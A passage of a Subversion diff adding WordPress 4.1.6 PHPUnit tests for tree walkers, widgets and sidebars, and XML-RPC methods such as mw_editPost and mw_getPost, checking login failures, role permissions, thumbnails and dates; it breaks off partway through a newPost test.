+		$this->assertEquals( 0, $this->walker->get_number_of_root_elements( $items ) );
+		$this->assertEquals( '<li>4</li><li>5</li><li>6</li>', $output );
+
+	}
+
+	function test_multiple_items_missing_parents_depth_1() {
+
+		$items = array( (object) array( 'id' => 4, 'parent' => 1 ), (object) array( 'id' => 5, 'parent' => 2 ), (object) array( 'id' => 6, 'parent' => 3 ) );
+
+		$output = $this->walker->walk( $items, 1 );
+
+		$this->assertEquals( 0, $this->walker->get_number_of_root_elements( $items ) );
+
+		// It's not clear what the output of this "should" be
+
+		// Currently the first item is simply returned
+		$this->assertEquals( '<li>4</li>', $output );
+
+		// But as we've only asked for the first depth maybe nothing should be returned?
+		//$this->assertEquals( '', $output );
+
+		// Or maybe all items which are missing parents should simply be treat top level?
+		//$this->assertEquals( '<li>4</li><li>5</li><li>6</li>', $output );
+
+	}
+
+}
+
+class Walker_Test extends Walker {
+
+	var $tree_type = 'test';
+	var $db_fields = array ( 'parent' => 'parent', 'id' => 'id' );
+
+	function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$output .= '<ul>';
+	}
+
+	function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$output .= '</ul>';
+	}
+
+	function start_el( &$output, $item, $depth = 0, $args = array(), $current_page = 0 ) {
+		$output .= '<li>' . $item->id;
+	}
+
+	function end_el( &$output, $page, $depth = 0, $args = array() ) {
+		$output .= '</li>';
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/widgets.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/widgets.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/widgets.php	(revision 33402)
@@ -0,0 +1,78 @@
+<?php
+
+/**
+ * Test widget template tags
+ *
+ * @group widgets
+ */
+class Tests_Widgets extends WP_UnitTestCase {
+
+	function test_register_widget_core_widget() {
+
+		global $wp_widget_factory;
+
+		unregister_widget( 'WP_Widget_Search' );
+		register_widget( 'WP_Widget_Search' );
+
+		$this->assertTrue( isset( $wp_widget_factory->widgets['WP_Widget_Search'] ) );
+
+	}
+
+	function test_unregister_widget_core_widget() {
+
+		global $wp_widget_factory;
+
+		unregister_widget( 'WP_Widget_Search' );
+
+		$this->assertFalse( isset( $wp_widget_factory->widgets['WP_Widget_Search'] ) );
+
+	}
+
+	function test_register_sidebars_single() {
+
+		global $wp_registered_sidebars;
+
+		register_sidebars( 1, array( 'id' => 'wp-unit-test' ) );
+
+		$this->assertTrue( isset( $wp_registered_sidebars['wp-unit-test'] ) );
+
+	}
+
+	function test_register_sidebars_multiple() {
+
+		global $wp_registered_sidebars;
+
+		$num = 3;
+		$id_base = 'WP Unit Test';
+		register_sidebars( $num, array( 'name' => $id_base . ' %d' ) );
+
+		$names = wp_list_pluck( $wp_registered_sidebars, 'name' );
+		for ( $i = 1; $i <= $num; $i++ ) {
+			if ( in_array( "$id_base $i", $names ) )
+				$result[] = true;
+		}
+
+		$this->assertEquals( $num, count( $result ) );
+
+	}
+
+	function test_register_sidebar() {
+
+		global $wp_registered_sidebars;
+
+		register_sidebar( array( 'id' => 'wp-unit-test' ) );
+
+		$this->assertTrue( isset( $wp_registered_sidebars['wp-unit-test'] ) );
+
+	}
+
+	function test_unregister_sidebar() {
+
+		global $wp_registered_sidebars;
+
+		unregister_sidebar( 'sidebar-1' );
+
+		$this->assertFalse( isset( $wp_registered_sidebars['sidebar-1'] ) );
+
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/basic.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/basic.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/basic.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+
+require_once ABSPATH . 'wp-admin/includes/admin.php';
+require_once ABSPATH . WPINC . '/class-IXR.php';
+require_once ABSPATH . WPINC . '/class-wp-xmlrpc-server.php';
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_Basic extends WP_XMLRPC_UnitTestCase {
+	function test_enabled() {
+		$result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'username', 'password' ) );
+
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		// If disabled, 405 would result.
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_login_pass_ok() {
+		$user_id = $this->make_user_by_role( 'subscriber' );
+
+		$this->assertFalse( $this->myxmlrpcserver->login_pass_ok( 'username', 'password' ) );
+		$this->assertFalse( $this->myxmlrpcserver->login( 'username', 'password' ) );
+
+		$this->assertTrue( $this->myxmlrpcserver->login_pass_ok( 'subscriber', 'subscriber' ) );
+		$this->assertInstanceOf( 'WP_User', $this->myxmlrpcserver->login( 'subscriber', 'subscriber' ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/client.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/client.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/client.php	(revision 33402)
@@ -0,0 +1,30 @@
+<?php
+require_once ABSPATH . WPINC . '/class-IXR.php';
+require_once ABSPATH . WPINC . '/class-wp-http-ixr-client.php';
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_Client extends WP_XMLRPC_UnitTestCase {
+
+	/**
+	 * @ticket 26947
+	 */
+	function test_ixr_client_allows_query_strings() {
+		$client = new IXR_Client( 'http://example.com/server.php?this-is-needed=true#not-this' );
+		$this->assertEquals( 'example.com', $client->server );
+		$this->assertEquals( 80, $client->port );
+		$this->assertEquals( '/server.php?this-is-needed=true', $client->path );
+	}
+
+	/**
+	 * @ticket 26947
+	 */
+	function test_wp_ixr_client_allows_query_strings() {
+		$client = new WP_HTTP_IXR_Client( 'http://example.com/server.php?this-is-needed=true#not-this' );
+		$this->assertEquals( 'example.com', $client->server );
+		$this->assertFalse( $client->port );
+		$this->assertEquals( '/server.php?this-is-needed=true', $client->path );
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/mt/getRecentPostTitles.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/mt/getRecentPostTitles.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/mt/getRecentPostTitles.php	(revision 33402)
@@ -0,0 +1,51 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mt_getRecentPostTitles extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_no_posts() {
+		$this->make_user_by_role( 'author' );
+
+		$result = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'author', 'author' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+	}
+
+	function test_no_editable_posts() {
+		$this->make_user_by_role( 'author' );
+		$editor = $this->make_user_by_role( 'editor' );
+		$this->factory->post->create( array( 'post_author' => $editor ) );
+
+		$result = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 0, count( $result ) );
+	}
+
+	function test_date() {
+		$this->make_user_by_role( 'author' );
+
+		$this->factory->post->create();
+
+		$results = $this->myxmlrpcserver->mt_getRecentPostTitles( array( 1, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $result ) {
+			$post = get_post( $result['postid'] );
+			$date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $post->post_date, false ), 'Ymd\TH:i:s' ) );
+
+			$this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+			$this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+
+			$this->assertEquals( strtotime( $post->post_date ), $result['dateCreated']->getTimestamp() );
+			$this->assertEquals( $date_gmt, $result['date_created_gmt']->getTimestamp() );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/editPost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/editPost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/editPost.php	(revision 33402)
@@ -0,0 +1,199 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_editPost extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$post = array();
+		$result = $this->myxmlrpcserver->mw_editPost( array( 1, 'username', 'password', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_edit_own_post() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$new_title = 'Post test (updated)';
+		$post2 = array( 'title' => $new_title );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $new_title, $out->post_title );
+	}
+
+	function test_capable_edit_others_post() {
+		$this->make_user_by_role( 'editor' );
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$new_title = 'Post test (updated)';
+		$post2 = array( 'title' => $new_title );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'editor', 'editor', $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $new_title, $out->post_title );
+	}
+
+	function test_incapable_edit_others_post() {
+		$this->make_user_by_role( 'contributor' );
+		$author_id = $this->make_user_by_role( 'author' );
+
+		$original_title = 'Post test';
+		$post = array( 'post_title' => $original_title, 'post_author' => $author_id );
+		$post_id = wp_insert_post( $post );
+
+		$new_title = 'Post test (updated)';
+		$post2 = array( 'title' => $new_title );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $original_title, $out->post_title );
+	}
+
+	function test_capable_reassign_author() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+		$author_id = $this->make_user_by_role( 'author' );
+		$this->make_user_by_role( 'editor' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$post2 = array( 'wp_author_id' => $author_id );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'editor', 'editor', $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $author_id, $out->post_author );
+	}
+
+	function test_incapable_reassign_author() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+		$author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Post test', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$post2 = array( 'wp_author_id' => $author_id );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $contributor_id, $out->post_author );
+	}
+
+	function test_post_thumbnail() {
+		add_theme_support( 'post-thumbnails' );
+
+		$author_id = $this->make_user_by_role( 'author' );
+
+		$post = array( 'post_title' => 'Post Thumbnail Test', 'post_author' => $author_id );
+		$post_id = wp_insert_post( $post );
+
+		$this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// create attachment
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents( $filename );
+		$upload = wp_upload_bits( $filename, null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment = array(
+			'post_title' => 'Post Thumbnail',
+			'post_type' => 'attachment',
+			'post_mime_type' => 'image/jpeg',
+			'guid' => $upload['url']
+		);
+		$attachment_id = wp_insert_attachment( $attachment, $upload['file'], $post_id );
+
+		// add post thumbnail to post that does not have one
+		$post2 = array( 'wp_post_thumbnail' => $attachment_id );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'author', 'author', $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// edit the post without supplying a post_thumbnail and check that it didn't change
+		$post3 = array( 'post_content' => 'Updated post' );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'author', 'author', $post3 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// create another attachment
+		$attachment2 = array_merge( $attachment, array( 'title' => 'Post Thumbnail 2' ) );
+		$attachment2_id = wp_insert_attachment( $attachment2, $upload['file'], $post_id );
+
+		// change the post's post_thumbnail
+		$post4 = array( 'wp_post_thumbnail' => $attachment2_id );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'author', 'author', $post4 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $attachment2_id, get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		// unset the post's post_thumbnail
+		$post5 = array( 'wp_post_thumbnail' => '' );
+		$result = $this->myxmlrpcserver->mw_editPost( array($post_id, 'author', 'author', $post5 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( '', get_post_meta( $post_id, '_thumbnail_id', true ) );
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_edit_basic_post_info() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Title', 'post_content' => 'Content', 'post_excerpt' => 'Excerpt', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$post2 = array( 'title' => 'New Title', 'post_author' => $contributor_id );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $post2['title'], $out->post_title );
+
+		$post3 = array( 'description' => 'New Content', 'post_author' => $contributor_id );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post3 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $post2['title'], $out->post_title );
+		$this->assertEquals( $post3['description'], $out->post_content );
+
+		$post4 = array( 'mt_excerpt' => 'New Excerpt', 'post_author' => $contributor_id );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post4 ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertTrue($result);
+
+		$out = get_post( $post_id );
+		$this->assertEquals( $post2['title'], $out->post_title );
+		$this->assertEquals( $post3['description'], $out->post_content );
+		$this->assertEquals( $post4['mt_excerpt'], $out->post_excerpt );
+	}
+
+	// Not allowed since [19914]
+	function test_change_post_type() {
+		$contributor_id = $this->make_user_by_role( 'contributor' );
+
+		$post = array( 'post_title' => 'Title', 'post_author' => $contributor_id );
+		$post_id = wp_insert_post( $post );
+
+		$post2 = array( 'post_type' => 'page' );
+		$result = $this->myxmlrpcserver->mw_editPost( array( $post_id, 'contributor', 'contributor', $post2 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( $result->code, 401 );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/getPost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/getPost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/getPost.php	(revision 33402)
@@ -0,0 +1,142 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_getPost extends WP_XMLRPC_UnitTestCase {
+	var $post_data;
+	var $post_id;
+	var $post_date_ts;
+
+	function setUp() {
+		parent::setUp();
+
+		$author_id = $this->make_user_by_role( 'author' );
+		$this->post_date_ts = strtotime( '+1 day' );
+		$this->post_data = array(
+			'post_title' => rand_str(),
+			'post_content' => rand_str( 2000 ),
+			'post_excerpt' => rand_str( 100 ),
+			'post_author' => $author_id,
+			'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+		);
+		$this->post_id = wp_insert_post( $this->post_data );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'subscriber', 'subscriber' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	/**
+	 * @ticket 20336
+	 */
+	function test_invalid_postid() {
+		$result = $this->myxmlrpcserver->mw_getPost( array( 9999, 'author', 'author' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+	}
+
+	function test_valid_post() {
+		add_theme_support( 'post-thumbnails' );
+
+		$fields = array( 'post' );
+		$result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Check data types
+		$this->assertInternalType( 'string', $result['userid'] );
+		$this->assertInternalType( 'int', $result['postid'] );
+		$this->assertInternalType( 'string', $result['description'] );
+		$this->assertInternalType( 'string', $result['title'] );
+		$this->assertInternalType( 'string', $result['link'] );
+		$this->assertInternalType( 'string', $result['permaLink'] );
+		$this->assertInternalType( 'array',  $result['categories'] );
+		$this->assertInternalType( 'string', $result['mt_excerpt'] );
+		$this->assertInternalType( 'string', $result['mt_text_more'] );
+		$this->assertInternalType( 'string', $result['wp_more_text'] );
+		$this->assertInternalType( 'int', $result['mt_allow_comments'] );
+		$this->assertInternalType( 'int', $result['mt_allow_pings'] );
+		$this->assertInternalType( 'string', $result['mt_keywords'] );
+		$this->assertInternalType( 'string', $result['wp_slug'] );
+		$this->assertInternalType( 'string', $result['wp_password'] );
+		$this->assertInternalType( 'string', $result['wp_author_id'] );
+		$this->assertInternalType( 'string', $result['wp_author_display_name'] );
+		$this->assertInternalType( 'string', $result['post_status'] );
+		$this->assertInternalType( 'array', $result['custom_fields'] );
+		$this->assertInternalType( 'string', $result['wp_post_format'] );
+		$this->assertInternalType( 'bool',   $result['sticky'] );
+
+
+		// Check expected values
+		$this->assertStringMatchesFormat( '%d', $result['userid'] );
+		$this->assertEquals( $this->post_data['post_title'], $result['title'] );
+		$this->assertEquals( 'draft', $result['post_status'] );
+		$this->assertStringMatchesFormat( '%d', $result['wp_author_id'] );
+		$this->assertEquals( $this->post_data['post_excerpt'], $result['mt_excerpt'] );
+		$this->assertEquals( url_to_postid( $result['link'] ), $this->post_id );
+
+		$this->assertEquals( '', $result['wp_post_thumbnail'] );
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_post_thumbnail() {
+		add_theme_support( 'post-thumbnails' );
+
+		// create attachment
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents( $filename );
+		$upload = wp_upload_bits( $filename, null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment = array(
+			'post_title' => 'Post Thumbnail',
+			'post_type' => 'attachment',
+			'post_mime_type' => 'image/jpeg',
+			'guid' => $upload['url']
+		);
+		$attachment_id = wp_insert_attachment( $attachment, $upload['file'], $this->post_id );
+
+		set_post_thumbnail( $this->post_id, $attachment_id );
+
+		$fields = array( 'post' );
+		$result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$this->assertInternalType( 'string', $result['wp_post_thumbnail'] );
+		$this->assertStringMatchesFormat( '%d', $result['wp_post_thumbnail'] );
+		$this->assertEquals( $attachment_id, $result['wp_post_thumbnail'] );
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_date() {
+		$fields = array( 'post' );
+		$result = $this->myxmlrpcserver->mw_getPost( array( $this->post_id, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['date_modified'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['date_modified_gmt'] );
+
+		$this->assertEquals( $this->post_date_ts, $result['dateCreated']->getTimestamp() );
+		$this->assertEquals( $this->post_date_ts, $result['date_modified']->getTimestamp() );
+
+		$post_date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+		$post_modified_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+
+		$this->assertEquals( $post_date_gmt, $result['date_created_gmt']->getTimestamp() );
+		$this->assertEquals( $post_modified_gmt, $result['date_modified_gmt']->getTimestamp() );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/getRecentPosts.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/getRecentPosts.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/getRecentPosts.php	(revision 33402)
@@ -0,0 +1,155 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_getRecentPosts extends WP_XMLRPC_UnitTestCase {
+	var $post_data;
+	var $post_id;
+	var $post_date_ts;
+
+	function setUp() {
+		parent::setUp();
+
+		$author_id = $this->make_user_by_role( 'author' );
+		$this->post_date_ts = strtotime( '+1 day' );
+		$this->post_data = array(
+			'post_title' => rand_str(),
+			'post_content' => rand_str( 2000 ),
+			'post_excerpt' => rand_str( 100 ),
+			'post_author' => $author_id,
+			'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+		);
+		$this->post_id = wp_insert_post( $this->post_data );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	/**
+	 * @ticket 22320
+	 */
+	function test_no_editing_privileges() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'subscriber', 'subscriber' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+	
+	function test_no_editable_posts() {
+		wp_delete_post( $this->post_id );
+
+		$result = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 0, count( $result ) );
+	}
+
+	function test_valid_post() {
+		add_theme_support( 'post-thumbnails' );
+
+		$fields = array( 'post' );
+		$results = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $result ) {
+			$post = get_post( $result['postid'] );
+
+			// Check data types
+			$this->assertInternalType( 'string', $result['userid'] );
+			$this->assertInternalType( 'string', $result['postid'] );
+			$this->assertInternalType( 'string', $result['description'] );
+			$this->assertInternalType( 'string', $result['title'] );
+			$this->assertInternalType( 'string', $result['link'] );
+			$this->assertInternalType( 'string', $result['permaLink'] );
+			$this->assertInternalType( 'array',  $result['categories'] );
+			$this->assertInternalType( 'string', $result['mt_excerpt'] );
+			$this->assertInternalType( 'string', $result['mt_text_more'] );
+			$this->assertInternalType( 'string', $result['wp_more_text'] );
+			$this->assertInternalType( 'int', $result['mt_allow_comments'] );
+			$this->assertInternalType( 'int', $result['mt_allow_pings'] );
+			$this->assertInternalType( 'string', $result['mt_keywords'] );
+			$this->assertInternalType( 'string', $result['wp_slug'] );
+			$this->assertInternalType( 'string', $result['wp_password'] );
+			$this->assertInternalType( 'string', $result['wp_author_id'] );
+			$this->assertInternalType( 'string', $result['wp_author_display_name'] );
+			$this->assertInternalType( 'string', $result['post_status'] );
+			$this->assertInternalType( 'array', $result['custom_fields'] );
+			$this->assertInternalType( 'string', $result['wp_post_format'] );
+
+			// Check expected values
+			$this->assertStringMatchesFormat( '%d', $result['userid'] );
+			$this->assertStringMatchesFormat( '%d', $result['postid'] );
+			$this->assertEquals( $post->post_title, $result['title'] );
+			$this->assertEquals( 'draft', $result['post_status'] );
+			$this->assertStringMatchesFormat( '%d', $result['wp_author_id'] );
+			$this->assertEquals( $post->post_excerpt, $result['mt_excerpt'] );
+			$this->assertEquals( url_to_postid( $result['link'] ), $post->ID );
+
+			$this->assertEquals( '', $result['wp_post_thumbnail'] );
+		}
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_post_thumbnail() {
+		add_theme_support( 'post-thumbnails' );
+
+		// create attachment
+		$filename = ( DIR_TESTDATA.'/images/a2-small.jpg' );
+		$contents = file_get_contents( $filename );
+		$upload = wp_upload_bits( $filename, null, $contents );
+		$this->assertTrue( empty( $upload['error'] ) );
+
+		$attachment = array(
+			'post_title' => 'Post Thumbnail',
+			'post_type' => 'attachment',
+			'post_mime_type' => 'image/jpeg',
+			'guid' => $upload['url']
+		);
+		$attachment_id = wp_insert_attachment( $attachment, $upload['file'], $this->post_id );
+		set_post_thumbnail( $this->post_id, $attachment_id );
+
+		$results = $this->myxmlrpcserver->mw_getRecentPosts( array( $this->post_id, 'author', 'author' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $result ) {
+			$this->assertInternalType( 'string', $result['wp_post_thumbnail'] );
+			$this->assertStringMatchesFormat( '%d', $result['wp_post_thumbnail'] );
+
+			if( ! empty( $result['wp_post_thumbnail'] ) || $result['postid'] == $this->post_id ) {
+				$attachment_id = get_post_meta( $result['postid'], '_thumbnail_id', true );
+
+				$this->assertEquals( $attachment_id, $result['wp_post_thumbnail'] );
+			}
+		}
+
+		remove_theme_support( 'post-thumbnails' );
+	}
+
+	function test_date() {
+		$this->make_user_by_role( 'editor' );
+
+		$results = $this->myxmlrpcserver->mw_getRecentPosts( array( 1, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $result ) {
+			$post = get_post( $result['postid'] );
+			$date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $post->post_date, false ), 'Ymd\TH:i:s' ) );
+			$date_modified_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $post->post_modified, false ), 'Ymd\TH:i:s' ) );
+
+			$this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+			$this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+			$this->assertInstanceOf( 'IXR_Date', $result['date_modified'] );
+			$this->assertInstanceOf( 'IXR_Date', $result['date_modified_gmt'] );
+
+			$this->assertEquals( strtotime( $post->post_date ), $result['dateCreated']->getTimestamp() );
+			$this->assertEquals( $date_gmt, $result['date_created_gmt']->getTimestamp() );
+			$this->assertEquals( strtotime( $post->post_date ), $result['date_modified']->getTimestamp() );
+			$this->assertEquals( $date_modified_gmt, $result['date_modified_gmt']->getTimestamp() );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/newPost.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/newPost.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/mw/newPost.php	(revision 33402)
@@ -0,0 +1,162 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_mw_newPost extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$post = array();
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'username', 'password', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$post = array();
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'subscriber', 'subscriber', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_no_content() {
+		$this->make_user_by_role( 'author' );
+
+		$post = array();
+		$result = $this->myxmlrpcserver->mw_newPost( array( 1, 'author', 'author', $post ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+		$this->assertEquals( 'Content, title, and excerpt are empty.', $result->message );
+	}
+
+	function test_basic_content() {
+		$this->make_user_by_role( 'author' );
+
